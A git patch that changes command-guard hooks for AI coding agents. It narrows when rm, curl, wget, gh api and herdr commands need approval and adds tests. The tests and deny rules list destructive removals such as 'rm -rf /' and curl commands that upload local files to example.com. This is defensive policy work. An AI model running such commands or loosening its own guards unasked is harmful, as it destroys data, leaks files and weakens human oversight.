From 6fe3db1adf867a432aed6e1156726343755936b1 Mon Sep 17 00:00:00 2001 From: furedea <132188853+furedea@users.noreply.github.com> Date: Mon, 19 Oct 2026 14:01:07 +0900 Subject: [PATCH 01/25] fix(agents): stop asking for commands the hooks can prove safe Replaying the Bash commands since 2026-10-18 showed most confirmations were safe forms. The command hook now judges them precisely instead of asking: - rm passes when every target is inside TMPDIR or the scratchpad root, or is a tracked file without staged or unstaged changes; the rm ask and the rm -r deny prefixes move from the generated permissions into the hook, which still denies other recursive removals and asks for other removals - function definitions parse, so their bodies are judged where they are defined and their calls by name - curl and wget fetches pass unless an option sends data, picks a method other than GET or HEAD, reads options from a file, or a word is computed at run time - gh api reads accept Accept and X-GitHub-Api-Version headers anywhere - herdr agent read and wait and herdr worktree list and open are allowed without the repository-trust flag - the Claude sandbox reaches pypi.org and files.pythonhosted.org for uv Closes #236 Co-Authored-By: Claude Opus 5.5 --- agents/claude/settings.json | 2 + agents/command_permissions.json | 95 ++++++--------- agents/hooks/guard_command.py | 23 +++- agents/hooks/lib/removal_policy.py | 121 +++++++++++++++++++ agents/hooks/lib/shell_syntax.py | 13 +- agents/hooks/rules/allowed_commands.json | 15 ++- tests/agents/claude/test_settings.py | 5 + tests/agents/codex/test_execpolicy.py | 2 - tests/agents/hooks/conftest.py | 12 ++ tests/agents/hooks/test_allowed_command.py | 51 +++++++- tests/agents/hooks/test_command_cli.py | 2 +- tests/agents/hooks/test_forbidden_command.py | 3 + tests/agents/hooks/test_guard_git.py | 3 + tests/agents/hooks/test_removal_command.py | 115 ++++++++++++++++++ tests/agents/hooks/test_replay_commands.py | 8 +- tests/agents/test_command_permission_sync.py | 17 +++ 16 files changed, 413 insertions(+), 74 deletions(-) create mode 100644 agents/hooks/lib/removal_policy.py create mode 100644 tests/agents/hooks/test_removal_command.py diff --git a/agents/claude/settings.json b/agents/claude/settings.json index 229360e..4b16cbf 100644 --- a/agents/claude/settings.json +++ b/agents/claude/settings.json @@ -73,6 +73,8 @@ "allowedDomains": [ "api.day.app", "channels.nixos.org", + "files.pythonhosted.org", + "pypi.org", "registry.npmjs.org" ], "allowUnixSockets": [ diff --git a/agents/command_permissions.json b/agents/command_permissions.json index 7b837ca..9821b08 100644 --- a/agents/command_permissions.json +++ b/agents/command_permissions.json @@ -1713,14 +1713,14 @@ "prefix": [ "curl" ], - "justification": "Allow requests to local servers only; the sandbox and the precise rules keep remote fetches out." + "justification": "Allow fetches; the precise rules ask before a remote request sends data, and the sandbox limits where requests go." }, { "decision": "allow", "prefix": [ "wget" ], - "justification": "Allow requests to local servers only; the sandbox and the precise rules keep remote fetches out." + "justification": "Allow fetches; the precise rules ask before a remote request sends data, and the sandbox limits where requests go." }, { "decision": "allow", @@ -2119,13 +2119,6 @@ ], "justification": "Ask before running scripts or fetched packages that policy cannot inspect." }, - { - "decision": "ask", - "prefix": [ - "rm" - ], - "justification": "Ask before removing files that Git cannot restore; recursive removal stays denied." - }, { "decision": "allow", "prefix": [ @@ -2403,6 +2396,42 @@ ], "justification": "Allow read-only Herdr inspection; controlling other panes asks first." }, + { + "decision": "allow", + "prefix": [ + "herdr", + "agent", + "read" + ], + "justification": "Allow read-only Herdr inspection; controlling other panes asks first." + }, + { + "decision": "allow", + "prefix": [ + "herdr", + "agent", + "wait" + ], + "justification": "Allow read-only Herdr inspection; controlling other panes asks first." + }, + { + "decision": "allow", + "prefix": [ + "herdr", + "worktree", + "list" + ], + "justification": "Allow read-only Herdr inspection; controlling other panes asks first." + }, + { + "decision": "allow", + "prefix": [ + "herdr", + "worktree", + "open" + ], + "justification": "Allow handing work to a new Herdr session; the hooks limit prompts to agents this session started." + }, { "decision": "ask", "prefix": [ @@ -2536,54 +2565,6 @@ ], "justification": "Do not hide shell commands inside a shell wrapper; policy inspects the literal command." }, - { - "decision": "deny", - "prefix": [ - "rm", - "-r" - ], - "justification": "Do not remove directory trees from an agent session; Git cannot restore untracked files." - }, - { - "decision": "deny", - "prefix": [ - "rm", - "-rf" - ], - "justification": "Do not remove directory trees from an agent session; Git cannot restore untracked files." - }, - { - "decision": "deny", - "prefix": [ - "rm", - "-fr" - ], - "justification": "Do not remove directory trees from an agent session; Git cannot restore untracked files." - }, - { - "decision": "deny", - "prefix": [ - "rm", - "-R" - ], - "justification": "Do not remove directory trees from an agent session; Git cannot restore untracked files." - }, - { - "decision": "deny", - "prefix": [ - "rm", - "-Rf" - ], - "justification": "Do not remove directory trees from an agent session; Git cannot restore untracked files." - }, - { - "decision": "deny", - "prefix": [ - "rm", - "--recursive" - ], - "justification": "Do not remove directory trees from an agent session; Git cannot restore untracked files." - }, { "decision": "deny", "prefix": [ diff --git a/agents/hooks/guard_command.py b/agents/hooks/guard_command.py index 4e89258..7a47f57 100755 --- a/agents/hooks/guard_command.py +++ b/agents/hooks/guard_command.py @@ -21,6 +21,7 @@ import command_policy import hook_decision from hook_decision import Verdict +import removal_policy import shell_syntax @@ -100,6 +101,21 @@ def objection(kind: str, item: shell_syntax.Command, policy: Policy) -> Verdict: ) +def removal_objection(kind: str, item: shell_syntax.Command, working_directory: Path | None) -> Verdict: + """Pass rm where a temporary directory or Git accounts for its targets; else deny a tree and ask for files.""" + removal = removal_policy.removal(command_policy.canonical(item), working_directory) + if removal is None or removal.is_accounted_for: + return hook_decision.ALLOW + preview = shell_syntax.command_preview(item.raw) + if kind == "allowed": + return hook_decision.ask(f"Needs review: {removal_policy.FILE_REASON}.\n\nCommand: {preview}", "rm") + if not removal.removes_unaccounted_tree: + return hook_decision.ALLOW + return hook_decision.deny( + f"BLOCKED: forbidden command: {removal_policy.TREE_REASON}\n\nCommand: {preview}\n\n{hook_decision.REVIEW_HINT}" + ) + + def decide(kind: str, payload: dict, directory: Path = ROOT) -> Verdict: """Decide for an already decoded provider payload, recording every denial and escalation.""" command = "" @@ -114,7 +130,12 @@ def decide(kind: str, payload: dict, directory: Path = ROOT) -> Verdict: preview = shell_syntax.command_preview(command) verdict = hook_decision.ask(f"Needs review: {error}.\n\nCommand: {preview}", "syntax") else: - verdicts = (objection(kind, item, policy) for item in commands) + working_directory = removal_policy.working_directory(payload.get("cwd"), commands) + verdicts = ( + verdict + for item in commands + for verdict in (objection(kind, item, policy), removal_objection(kind, item, working_directory)) + ) verdict = next((item for item in verdicts if item.decision != "allow"), hook_decision.ALLOW) except (ValueError, TypeError, AttributeError, OSError) as error: prefix = "forbidden command: " if kind == "forbidden" else "" diff --git a/agents/hooks/lib/removal_policy.py b/agents/hooks/lib/removal_policy.py new file mode 100644 index 0000000..25b2c58 --- /dev/null +++ b/agents/hooks/lib/removal_policy.py @@ -0,0 +1,121 @@ +"""Judge rm by whether a temporary directory or Git accounts for everything it removes.""" + +from collections.abc import Iterable +from dataclasses import dataclass +import os +from pathlib import Path +import subprocess + +import shell_syntax + + +TREE_REASON = ( + "Do not remove directory trees outside a temporary directory from an agent session; " + "Git cannot restore untracked files." +) +FILE_REASON = "removing files that neither a temporary directory nor Git can restore needs review" +# Claude Code points each sandboxed command's TMPDIR, including session scratchpads, below this root. +SCRATCH_ROOT = Path(f"/private/tmp/claude-{os.getuid()}") +SHORT_FLAGS = frozenset("dfiIPRrvWx") +LONG_FLAGS = frozenset( + {"--dir", "--force", "--interactive", "--one-file-system", "--preserve-root", "--recursive", "--verbose"} +) +DIRECTORY_CHANGES = frozenset({"cd", "pushd", "popd"}) +CHDIR_OPTIONS = frozenset({"-C", "--chdir"}) + + +@dataclass(frozen=True, slots=True) +class Removal: + """One rm invocation; `targets` is None when a run-time word, input, or unknown option hides them.""" + + recursive: bool + targets: tuple[Path, ...] | None + + @property + def is_temporary(self) -> bool: + return bool(self.targets) and all(is_temporary(target) for target in self.targets) + + @property + def is_accounted_for(self) -> bool: + """Whether every target is temporary or, for a plain removal, restorable from Git.""" + if self.is_temporary: + return True + return not self.recursive and bool(self.targets) and all(is_restorable(target) for target in self.targets) + + @property + def removes_unaccounted_tree(self) -> bool: + return self.recursive and not self.is_temporary + + +def removal(command: shell_syntax.Command, directory: Path | None) -> Removal | None: + """Read a canonical rm command, resolving relative targets against the known working directory.""" + if command.arguments[0] != "rm": + return None + recursive, operands = False, [] + hidden = command.appends_input + options_ended = False + for word, dynamic in zip(command.arguments[1:], command.dynamic[1:], strict=True): + if dynamic: + hidden = True + elif options_ended or word == "-" or not word.startswith("-"): + operands.append(word) + elif word == "--": + options_ended = True + elif is_option(word): + recursive |= word == "--recursive" or (not word.startswith("--") and bool(set(word) & {"r", "R"})) + else: + hidden = True + if hidden or not operands or (directory is None and not all(Path(word).is_absolute() for word in operands)): + return Removal(recursive, None) + return Removal(recursive, tuple(Path(os.path.join(directory or "/", word)) for word in operands)) + + +def working_directory(payload_directory: object, commands: Iterable[shell_syntax.Command]) -> Path | None: + """The directory relative targets name, or None once any segment may have changed it.""" + for command in commands: + name = Path(command.arguments[0]).name + if name in DIRECTORY_CHANGES or (name == "env" and CHDIR_OPTIONS & set(command.arguments)): + return None + return Path(payload_directory) if isinstance(payload_directory, str) and payload_directory else Path.cwd() + + +def is_option(word: str) -> bool: + if word.startswith("--"): + return word in LONG_FLAGS or word.startswith("--interactive=") + return set(word[1:]) <= SHORT_FLAGS + + +def is_temporary(target: Path) -> bool: + """Whether the resolved target lies strictly inside a temporary root, so symlinks cannot lead out.""" + resolved = Path(os.path.realpath(target)) + return any(resolved != root and resolved.is_relative_to(root) for root in temporary_roots()) + + +def temporary_roots() -> tuple[Path, ...]: + """The scratchpad root and TMPDIR, ignoring a TMPDIR that contains the home directory.""" + candidates = [SCRATCH_ROOT, Path(os.environ.get("TMPDIR", ""))] + roots = (Path(os.path.realpath(candidate)) for candidate in candidates if candidate.is_absolute()) + home = Path(os.path.realpath(Path.home())) + return tuple(root for root in roots if not home.is_relative_to(root)) + + +def is_restorable(target: Path) -> bool: + """A tracked file whose staged and working contents match HEAD comes back with git restore.""" + if target.is_dir() or not (target.is_file() or target.is_symlink()): + return False + return git(target.parent, "ls-files", "--error-unmatch", "--", target.name) and git( + target.parent, "diff", "--quiet", "HEAD", "--", target.name + ) + + +def git(directory: Path, *arguments: str) -> bool: + try: + result = subprocess.run( + ["git", "-C", str(directory), *arguments], + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + check=False, + ) + except OSError: + return False + return result.returncode == 0 diff --git a/agents/hooks/lib/shell_syntax.py b/agents/hooks/lib/shell_syntax.py index ddc6883..1b6a4cf 100644 --- a/agents/hooks/lib/shell_syntax.py +++ b/agents/hooks/lib/shell_syntax.py @@ -45,11 +45,13 @@ "UnaryTest", "ParenTest", "DeclClause", + "FuncDecl", "Word", } ) -# Every command inside a substitution or clause is a CallExpr that parse judges on its own; the -# substituted word itself is only known at run time. +# Every command inside a substitution, clause, or function body is a CallExpr that parse judges on +# its own, so a body is judged where it is defined and a call by its own name; the substituted word +# itself is only known at run time. SUBSTITUTIONS = frozenset({"CmdSubst", "ProcSubst", "ArithmExp"}) # A ParamExp other than the home directory makes its word a run-time word; Word is an operand inside it. WORD_PARTS = frozenset({None, "Lit", "SglQuoted", "DblQuoted", "ParamExp", "Word"}) | SUBSTITUTIONS @@ -92,7 +94,8 @@ class Command: `dynamic` flags arguments whose value is only known at run time (a glob or a parameter other than the home directory); such arguments carry their source text. `writes` lists the files - that output redirections would create or overwrite. + that output redirections would create or overwrite. `appends_input` marks a command that xargs + runs with further arguments read from its input. """ raw: str @@ -103,6 +106,7 @@ class Command: trailer: str = "" dynamic: tuple[bool, ...] = () writes: tuple[str, ...] = () + appends_input: bool = False def __post_init__(self) -> None: if not self.words: @@ -361,7 +365,8 @@ def unwrapped(command: Command) -> list[Command]: """Peel process wrappers so policy sees the program they eventually run.""" exposed: list[Command] = [] while (index := wrapped_index(command.arguments)) is not None: - command = command.rebased(index, depth=command.wrapper_depth + 1) + appends_input = command.appends_input or Path(command.arguments[0]).name == "xargs" + command = replace(command.rebased(index, depth=command.wrapper_depth + 1), appends_input=appends_input) exposed.append(command) return exposed diff --git a/agents/hooks/rules/allowed_commands.json b/agents/hooks/rules/allowed_commands.json index 79911c0..01a6045 100644 --- a/agents/hooks/rules/allowed_commands.json +++ b/agents/hooks/rules/allowed_commands.json @@ -17,7 +17,7 @@ "^gh api repos/[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+/pulls/[0-9]+/reviews/[0-9]+/comments( --paginate)? --jq '[^']*'$", "^gh api repos/[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+ --method POST -f parent_issue_id=[a-zA-Z0-9_=]+ /issues/[0-9]+/sub_issues$", "^gh api graphql -f query='(query([[:space:]({{])|[{])[^']*('\\\\''[^']*)*'$", - "^gh api ('[^']*'|[^ '-][^ ']*)( --paginate| --slurp| -i| --include| --jq ('[^']*'|[^' ]+)| -q ('[^']*'|[^' ]+)| -H '[^']*'| --cache [0-9]+[smh])*$", + "^gh api( --paginate| --slurp| -i| --include| --jq ('[^']*'|[^' ]+)| -q ('[^']*'|[^' ]+)| (-H|--header) ('[Aa]ccept: [^']*'|\"[Aa]ccept: [^\"$`\\\\]*\"|'X-GitHub-Api-Version: [^']*'|\"X-GitHub-Api-Version: [^\"$`\\\\]*\")| --cache [0-9]+[smh])* ('[^']*'|\"[^\"]*\"|[^ '\"-][^ '\"]*)( --paginate| --slurp| -i| --include| --jq ('[^']*'|[^' ]+)| -q ('[^']*'|[^' ]+)| (-H|--header) ('[Aa]ccept: [^']*'|\"[Aa]ccept: [^\"$`\\\\]*\"|'X-GitHub-Api-Version: [^']*'|\"X-GitHub-Api-Version: [^\"$`\\\\]*\")| --cache [0-9]+[smh])*$", "^gh issue (list|status|view)( |$)", "^gh issue (create|comment|develop|edit|reopen|close)( |$)", "^gh label (list|create)( |$)", @@ -54,9 +54,11 @@ ], "patterns": [ "^curl( -[A-Za-z]+)*( -X (GET|POST|PUT|PATCH|DELETE))?( -H '[^']*')*( -d '[^']*')?( -o [A-Za-z0-9._/-]+)? https?://(localhost|127\\.0\\.0\\.1)(:[0-9]+)?[A-Za-z0-9._/?&=%-]*$", - "^wget( -[A-Za-z]+)*( -O [A-Za-z0-9._/-]+)? https?://(localhost|127\\.0\\.0\\.1)(:[0-9]+)?[A-Za-z0-9._/?&=%-]*$" + "^wget( -[A-Za-z]+)*( -O [A-Za-z0-9._/-]+)? https?://(localhost|127\\.0\\.0\\.1)(:[0-9]+)?[A-Za-z0-9._/?&=%-]*$", + "^curl( -[#0-9IJLNORSZfgiklsv]+| --(silent|show-error|fail|fail-with-body|location|include|head|remote-name|remote-name-all|remote-header-name|create-dirs|compressed|insecure|http1\\.1|http2|progress-bar|no-progress-meter|verbose|get|globoff|no-buffer|ipv4|ipv6|retry-all-errors|retry-connrefused)| (-[#0-9IJLNORSZfgiklsv]*[ADHemorwz]|--(output|output-dir|header|write-out|max-time|connect-timeout|retry|retry-delay|retry-max-time|user-agent|referer|range|dump-header|max-filesize|limit-rate)) (('[^']*'|\"([^\"\\\\]|\\\\.)*\"|[^ '\"_-][^ '\"]*|_[^ '\"]+)|-)| (-X|--request) (GET|HEAD)| ('[^']*'|\"([^\"\\\\]|\\\\.)*\"|[^ '\"_-][^ '\"]*|_[^ '\"]+))*$", + "^wget( -[qSNcvk]+| -n[cdvH]| --(quiet|spider|server-response|no-verbose|no-check-certificate|continue|timestamping)| (-[OPTtU]|--(output-document|directory-prefix|user-agent|header|timeout|tries)) (('[^']*'|\"([^\"\\\\]|\\\\.)*\"|[^ '\"_-][^ '\"]*|_[^ '\"]+)|-)| ('[^']*'|\"([^\"\\\\]|\\\\.)*\"|[^ '\"_-][^ '\"]*|_[^ '\"]+))*$" ], - "justification": "Allow requests to local servers; remote fetches leave the machine." + "justification": "Allow any request to local servers and only fetches elsewhere; options that send data, pick another method, or read options from a file ask, and the sandbox limits where requests go." }, { "programs": [ @@ -81,7 +83,12 @@ "^herdr workspace close [^ -][^ ]*$", "^herdr worktree remove --workspace [^ -][^ ]*$", "^herdr workspace list( |$)", - "^herdr workspace get( |$)" + "^herdr workspace get( |$)", + "^herdr (agent (read|wait)|worktree (list|open)) --help$", + "^herdr agent read [^ -][^ ]*( --(source|lines|format) [^ ]+| --ansi)*$", + "^herdr agent wait [^ -][^ ]*( --until [a-z]+| --timeout [0-9]+)*$", + "^herdr worktree list( --(workspace|cwd) ('[^']*'|\"([^\"\\\\]|\\\\.)*\"|[^ '\"]+))*$", + "^herdr worktree open( --(workspace|cwd|path|branch|label) ('[^']*'|\"([^\"\\\\]|\\\\.)*\"|[^ '\"]+)| --(no-)?focus)*$" ], "justification": "Allow Herdr reads and handing work to a new Claude or Codex session; repository trust, pane environments, other agent kinds, and driving existing panes run outside the sandbox and ask." } diff --git a/tests/agents/claude/test_settings.py b/tests/agents/claude/test_settings.py index f0afe8b..16864b4 100644 --- a/tests/agents/claude/test_settings.py +++ b/tests/agents/claude/test_settings.py @@ -80,6 +80,11 @@ def test_pnpm_fetches_packages_from_the_npm_registry_inside_the_sandbox() -> Non assert {"registry.npmjs.org"} <= set(sandbox["network"]["allowedDomains"]) +def test_uv_fetches_packages_from_pypi_inside_the_sandbox() -> None: + sandbox = json.loads((REPO_ROOT / "agents/claude/settings.json").read_text())["sandbox"] + assert {"pypi.org", "files.pythonhosted.org"} <= set(sandbox["network"]["allowedDomains"]) + + def test_pnpm_installs_into_its_shared_store_from_inside_the_sandbox() -> None: sandbox = json.loads((REPO_ROOT / "agents/claude/settings.json").read_text())["sandbox"] assert {"~/.local/share/pnpm"} <= set(sandbox["filesystem"]["allowWrite"]) diff --git a/tests/agents/codex/test_execpolicy.py b/tests/agents/codex/test_execpolicy.py index 7973b8b..6f9886e 100644 --- a/tests/agents/codex/test_execpolicy.py +++ b/tests/agents/codex/test_execpolicy.py @@ -107,10 +107,8 @@ def codex_policy(agent_harness: CliRunner, tmp_path_factory: pytest.TempPathFact ("prompt", "npx cowsay hello"), ("prompt", "gh pr merge 42 --squash"), ("prompt", "gh stack merge"), - ("prompt", "rm scratch.txt"), ("prompt", "uv add requests"), ("prompt", "git stash drop"), - ("forbidden", "rm -rf /tmp/example"), ("forbidden", "brew install ffmpeg"), ("forbidden", "uv python install 3.11"), ("forbidden", "cargo install ripgrep"), diff --git a/tests/agents/hooks/conftest.py b/tests/agents/hooks/conftest.py index 2639b69..5c6a166 100644 --- a/tests/agents/hooks/conftest.py +++ b/tests/agents/hooks/conftest.py @@ -10,9 +10,21 @@ sys.path.insert(0, str(REPO_ROOT / "agents/hooks")) sys.path.insert(0, str(REPO_ROOT / "agents/hooks/lib")) +import removal_policy import session_store +@pytest.fixture(autouse=True) +def temporary_roots(tmp_path_factory: pytest.TempPathFactory, monkeypatch: pytest.MonkeyPatch) -> Path: + """Keep each test's project outside the roots rm may clear, wherever pytest puts its directories.""" + roots = tmp_path_factory.mktemp("temporary-roots") + for name in ("tmp", "scratch"): + (roots / name).mkdir() + monkeypatch.setenv("TMPDIR", str(roots / "tmp")) + monkeypatch.setattr(removal_policy, "SCRATCH_ROOT", roots / "scratch") + return roots + + @pytest.fixture def verification_calls(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path: state = tmp_path.parent / (tmp_path.name + "-state") diff --git a/tests/agents/hooks/test_allowed_command.py b/tests/agents/hooks/test_allowed_command.py index 71a02a9..97d7fe1 100644 --- a/tests/agents/hooks/test_allowed_command.py +++ b/tests/agents/hooks/test_allowed_command.py @@ -67,6 +67,35 @@ pytest.param("gh stack submit --auto", id="non-interactive stack commands"), pytest.param("gh pr list 2>&1 | head -5", id="GitHub forms in pipelines"), pytest.param("curl -fsS http://localhost:3000/health", id="local server requests"), + pytest.param("curl -s https://pypi.org/pypi/mutmut/json", id="remote fetches"), + pytest.param( + "curl -fsSL -o pkg.tgz -H 'User-Agent: x' https://registry.npmjs.org/a/-/a-1.tgz", id="remote downloads" + ), + pytest.param( + 'curl -s -o /dev/null -w "%{http_code}\\n" -X HEAD https://cdn.example.com/v1/a.tar.gz', + id="remote status probes", + ), + pytest.param("wget -q -O - https://example.com/install.sh", id="remote fetches with wget"), + pytest.param( + 'gh api -H "Accept: application/vnd.github.raw" "repos/o/r/contents/a.nix?ref=v1" | sed -n 1,20p', + id="GitHub reads with a header before the endpoint", + ), + pytest.param( + "gh api --header 'X-GitHub-Api-Version: 2022-11-28' repos/o/r/releases --jq '.[].tag_name'", + id="GitHub reads with a version header", + ), + pytest.param("herdr agent read lane-a --source recent --lines 80", id="Herdr agent reads"), + pytest.param("herdr agent wait lane-a --until done --until blocked --timeout 600000", id="Herdr agent waits"), + pytest.param("herdr worktree list --cwd /repo", id="Herdr worktree lists"), + pytest.param("herdr agent read --help", id="Herdr help for the lane commands"), + pytest.param( + "herdr worktree open --cwd /repo --branch feat/x --label x --no-focus", id="Herdr worktree opens" + ), + pytest.param('t(){ uv run --frozen pytest -q "$@"; }; t tests/a.py && t tests/b.py', id="local functions"), + pytest.param( + 'c(){ msg="$1"; shift; git add -- "$@" && git commit -q -m "$msg"; }; c \'fix: x\' a.py', + id="functions with positional parameters", + ), pytest.param("herdr pane list", id="Herdr reads"), pytest.param( "herdr worktree create --cwd /repo --branch feat/lane-a --base origin/main --label 'lane a' --no-focus", @@ -106,7 +135,27 @@ def test_commands_whose_effects_the_checks_can_see_pass(capsys: pytest.CaptureFi ), pytest.param("gh stack init", ["gh stack init"], id="interactive stack commands 1"), pytest.param("gh stack submit", ["gh stack submit"], id="interactive stack commands 2"), - pytest.param("curl https://example.com/install.sh", [], id="remote fetches"), + pytest.param("curl -d @notes.txt https://example.com/upload", [], id="remote posts"), + pytest.param("curl --data-binary @a https://example.com/", [], id="remote binary posts"), + pytest.param("curl -F file=@a https://example.com/", [], id="remote form uploads"), + pytest.param("curl -T a https://example.com/", [], id="remote uploads"), + pytest.param("curl -X POST https://example.com/", [], id="remote non-GET methods"), + pytest.param("curl -sX DELETE https://example.com/", [], id="remote methods in a flag cluster"), + pytest.param("curl --json '{}' https://example.com/", [], id="remote JSON posts"), + pytest.param("curl -K config.txt https://example.com/", [], id="remote options from a file"), + pytest.param("curl -fsSd x=1 https://example.com/", [], id="remote data in a flag cluster"), + pytest.param("curl -s $URL", [], id="remote fetches of run-time words"), + pytest.param("curl -s https://example.com/ -o $OUT", [], id="remote fetches with run-time options"), + pytest.param("wget --post-data x=1 https://example.com/", [], id="wget posts"), + pytest.param("gh api -X PATCH repos/o/r -f a=b", [], id="GitHub API writes with -X"), + pytest.param( + "gh api -H 'X-HTTP-Method-Override: DELETE' repos/o/r/issues/1", [], id="GitHub method override headers" + ), + pytest.param("gh api -H 'Accept: x' repos/o/r/issues --input body.json", [], id="GitHub API input bodies"), + pytest.param("herdr worktree open --cwd /repo --path /w --trust-repository", [], id="Herdr open with trust"), + pytest.param("herdr worktree list --trust-repository", [], id="Herdr list with trust"), + pytest.param("f(){ gh pr review 42 --approve; }; f", [], id="inside a function body"), + pytest.param("f(){ curl -d @a https://example.com/; }", [], id="inside a function that is never called"), pytest.param("herdr worktree create --cwd /repo --trust-repository", [], id="Herdr repository trust"), pytest.param("herdr pane split --pane w1:p2 --env CLAUDE_CONFIG_DIR=/tmp/x", [], id="Herdr pane environments"), pytest.param("herdr agent start lane-a --kind gemini --pane w1:p2", [], id="Herdr agents without our hooks"), diff --git a/tests/agents/hooks/test_command_cli.py b/tests/agents/hooks/test_command_cli.py index aaf058a..ecc8a76 100644 --- a/tests/agents/hooks/test_command_cli.py +++ b/tests/agents/hooks/test_command_cli.py @@ -80,7 +80,7 @@ def test_invalid_command_json_remains_a_cli_error(run_cli: CliRunner) -> None: @pytest.mark.parametrize( "script,arguments,command,reason", [ - ("guard_command.py", ("forbidden",), "rm -rf " + "x" * 1000, "forbidden command"), + ("guard_command.py", ("forbidden",), "rm -rf /" + "x" * 1000, "forbidden command"), ("guard_git.py", (), "git reset --hard " + "x" * 1000, "BLOCKED:"), ], ids=["forbidden", "dangerous-git"], diff --git a/tests/agents/hooks/test_forbidden_command.py b/tests/agents/hooks/test_forbidden_command.py index bf8f656..253ed50 100644 --- a/tests/agents/hooks/test_forbidden_command.py +++ b/tests/agents/hooks/test_forbidden_command.py @@ -151,6 +151,9 @@ def test_uninspectable_commands_are_left_to_the_user(kind: str, command: str) -> "bash <<'EOF'\nrm -rf build\nEOF", "if true; then git add -A; fi", 'echo "${TARGET:-$(rm -rf build)}"', + "f(){ git add -A; }", + "f() { git commit --no-verify -m x; }; f", + "function f { bash -c 'echo hi'; }", ], ) def test_denials_apply_to_commands_inside_substitutions_clauses_and_shell_heredocs(command: str) -> None: diff --git a/tests/agents/hooks/test_guard_git.py b/tests/agents/hooks/test_guard_git.py index 892dcc7..7f00016 100644 --- a/tests/agents/hooks/test_guard_git.py +++ b/tests/agents/hooks/test_guard_git.py @@ -222,6 +222,8 @@ def test_dangerous_git_contract( "gh pr merge $NUMBER", "gh $COMMAND list", "$GIT push --force origin main", + "d=$TMPDIR/x; $d/tool --version", + "f(){ git reset $MODE HEAD~1; }; f", ], ) def test_run_time_words_that_can_change_the_verdict_are_left_to_the_user(command: str) -> None: @@ -256,6 +258,7 @@ def test_run_time_words_that_cannot_change_the_verdict_pass(command: str) -> Non 'echo "$(git reset --hard)"', "for b in a; do git push --force origin topic; done", "if x; then git clean -fd; fi", + "f(){ git reset --hard; }", ], ) def test_destructive_git_inside_substitutions_and_clauses_is_denied(command: str) -> None: diff --git a/tests/agents/hooks/test_removal_command.py b/tests/agents/hooks/test_removal_command.py new file mode 100644 index 0000000..9942fcf --- /dev/null +++ b/tests/agents/hooks/test_removal_command.py @@ -0,0 +1,115 @@ +"""rm passes only where a temporary directory or Git can account for what it removes.""" + +from pathlib import Path +import subprocess + +import pytest + +from tests.runtime import load_script_module + + +guard = load_script_module("agents/hooks/guard_command.py", "guard_command") + + +@pytest.fixture +def project(git_project: Path, temporary_roots: Path) -> Path: + """A repository with clean, modified, staged, and untracked files outside the temporary roots.""" + for name in ("tracked.txt", "modified.txt", "staged.txt"): + (git_project / name).write_text("before") + (git_project / "sub").mkdir() + (git_project / "sub/nested.txt").write_text("before") + git(git_project, "add", "tracked.txt", "modified.txt", "staged.txt", "sub/nested.txt") + git(git_project, "commit", "--quiet", "-m", "files") + (git_project / "modified.txt").write_text("after") + (git_project / "staged.txt").write_text("after") + git(git_project, "add", "staged.txt") + (git_project / "untracked.txt").write_text("new") + return temporary_roots + + +def git(directory: Path, *arguments: str) -> None: + subprocess.run(["git", *arguments], cwd=directory, check=True, capture_output=True) + + +def decide(kind: str, command: str, cwd: Path | None = None) -> str: + payload: dict = {"tool_input": {"command": command}} + if cwd: + payload["cwd"] = str(cwd) + return guard.decide(kind, payload).decision + + +@pytest.mark.parametrize( + "command", + [ + pytest.param("rm {tmp}/a.txt", id="a file in the temporary directory"), + pytest.param("rm -f {scratch}/session/a.txt {tmp}/b.txt", id="files in the scratchpad"), + pytest.param("rm tracked.txt", id="a tracked file without changes"), + pytest.param("rm -f -- tracked.txt sub/nested.txt", id="several tracked files without changes"), + pytest.param("/bin/rm tracked.txt", id="rm invoked by path"), + pytest.param("rm -rf {tmp}/build", id="a tree in the temporary directory"), + pytest.param("rm -r -- {scratch}/a {tmp}/b", id="trees in both temporary roots"), + pytest.param("rm -fR {tmp}/a/../b", id="a normalized path that stays inside"), + ], +) +@pytest.mark.parametrize("kind", ["allowed", "forbidden"]) +def test_removals_a_temporary_root_or_git_can_account_for_pass(project: Path, kind: str, command: str) -> None: + command = command.format(tmp=project / "tmp", scratch=project / "scratch") + assert decide(kind, command) == "allow" + + +@pytest.mark.parametrize( + "command", + [ + pytest.param("rm modified.txt", id="a tracked file with unstaged changes"), + pytest.param("rm staged.txt", id="a tracked file with staged changes"), + pytest.param("rm untracked.txt", id="an untracked file"), + pytest.param("rm tracked.txt untracked.txt", id="one unrestorable target among several"), + pytest.param("rm $FILE", id="a run-time target"), + pytest.param("rm *.txt", id="a glob"), + pytest.param("rm $FLAGS tracked.txt", id="run-time options"), + pytest.param("cd sub && rm tracked.txt", id="a relative target after the directory changes"), + pytest.param("echo tracked.txt | xargs rm", id="targets read from input"), + pytest.param("rm {tmp}/../outside.txt", id="a path that leaves the temporary directory"), + pytest.param("rm --unknown tracked.txt", id="an unknown option"), + pytest.param("rm", id="no targets"), + ], +) +def test_removals_neither_can_account_for_ask(project: Path, command: str) -> None: + command = command.format(tmp=project / "tmp") + assert decide("allowed", command) == "ask" + assert decide("forbidden", command) == "allow" + + +@pytest.mark.parametrize( + "command", + [ + pytest.param("rm -rf build", id="a tree in the project"), + pytest.param("rm -r tracked.txt", id="a tracked file removed recursively"), + pytest.param("rm -r {tmp}/a build", id="one tree outside the temporary roots"), + pytest.param("rm -rf $TARGET", id="a run-time tree"), + pytest.param("rm -rf {tmp}", id="the temporary directory itself"), + pytest.param("rm -rf {tmp}/../..", id="a path that climbs out"), + pytest.param("rm build -rf", id="options after the operands"), + pytest.param("rm --recursive build", id="the long option"), + pytest.param("echo {tmp}/a | xargs rm -rf {tmp}/b", id="trees read from input"), + pytest.param("f(){{ rm -rf build; }}", id="inside a function body"), + ], +) +def test_recursive_removals_outside_the_temporary_roots_stay_denied(project: Path, command: str) -> None: + command = command.format(tmp=project / "tmp") + verdict = guard.decide("forbidden", {"tool_input": {"command": command}}) + assert verdict.decision == "deny" + assert "directory trees" in verdict.reason + + +def test_relative_targets_resolve_against_the_session_directory(project: Path, git_project: Path) -> None: + assert decide("allowed", "rm nested.txt", cwd=git_project / "sub") == "allow" + assert decide("allowed", "rm nested.txt", cwd=git_project) == "ask" + + +def test_a_symlink_out_of_the_temporary_directory_does_not_count_as_temporary( + project: Path, git_project: Path +) -> None: + link = project / "tmp/link" + link.symlink_to(git_project) + assert 